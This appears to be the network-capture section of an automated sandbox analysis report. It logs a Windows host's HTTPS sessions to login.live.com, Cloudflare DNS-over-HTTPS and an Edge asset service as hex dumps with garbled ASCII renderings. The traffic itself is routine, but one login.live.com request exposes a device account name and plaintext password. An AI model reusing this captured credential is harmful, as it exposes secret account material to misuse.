2024-11-16 22:36:33 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49831	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 22:36:33 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 22:36:33 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 22:35:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 7ee18c7a-b6fc-4625-8ff2-a8698db25717 PPServer: PPV: 30 H: PH1PEPF0001B7A1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 22:36:33 GMT Connection: close Content-Length: 1276
2024-11-16 22:36:33 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49832	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-16 22:36:33 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6b 7a 66 72 67 66 72 63 76 71 6d 6d 6a 6a 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 64 25 29 63 52 45 6b 79 78 31 4c 6f 4c 6c 46 25 48 66 6e 4d 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02kzfrgfrcvqmmjj</Membername><Password>d%)cREkyx1LoLlF%HfnM</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-16 22:36:40 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sat, 16 Nov 2024 22:35:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 5750dbd2-5ae7-46eb-a530-8eeba30b866f PPServer: PPV: 30 H: SN1PEPF0002FA3B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 22:36:39 GMT Connection: close Content-Length: 17166
2024-11-16 22:36:40 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 31 36 31 37 36 35 34 30 39 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 31 36 38 36 31 63 62 63 2d 62 32 61 63 2d 34 31 66 38 2d 62 39 65 34 2d 63 33 64 65 30 30 66 36 34 39 65 37 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001161765409</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="16861cbc-b2ac-41f8-b9e4-c3de00f649e7" LicenseID="3252b20c-d425-4711
2024-11-16 22:36:40 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49844	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 22:36:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3af5e61c89e7af-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 22:36:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d7 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49842	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 22:36:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3af5e629b24796-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 22:36:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49841	162.159.61.3	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 22:36:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 22:36:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3af5e62df22873-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 22:36:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 03 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49843	13.107.246.45	443	7568	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:33 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 22:36:33 UTC	577	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:33 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8d55dced-901e-000f-65df-3785f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241116T223633Z-16547b76f7fm8pcwhC1DFWaxcc00000001kg000000004udb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:33 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-16 22:36:33 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-16 22:36:34 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 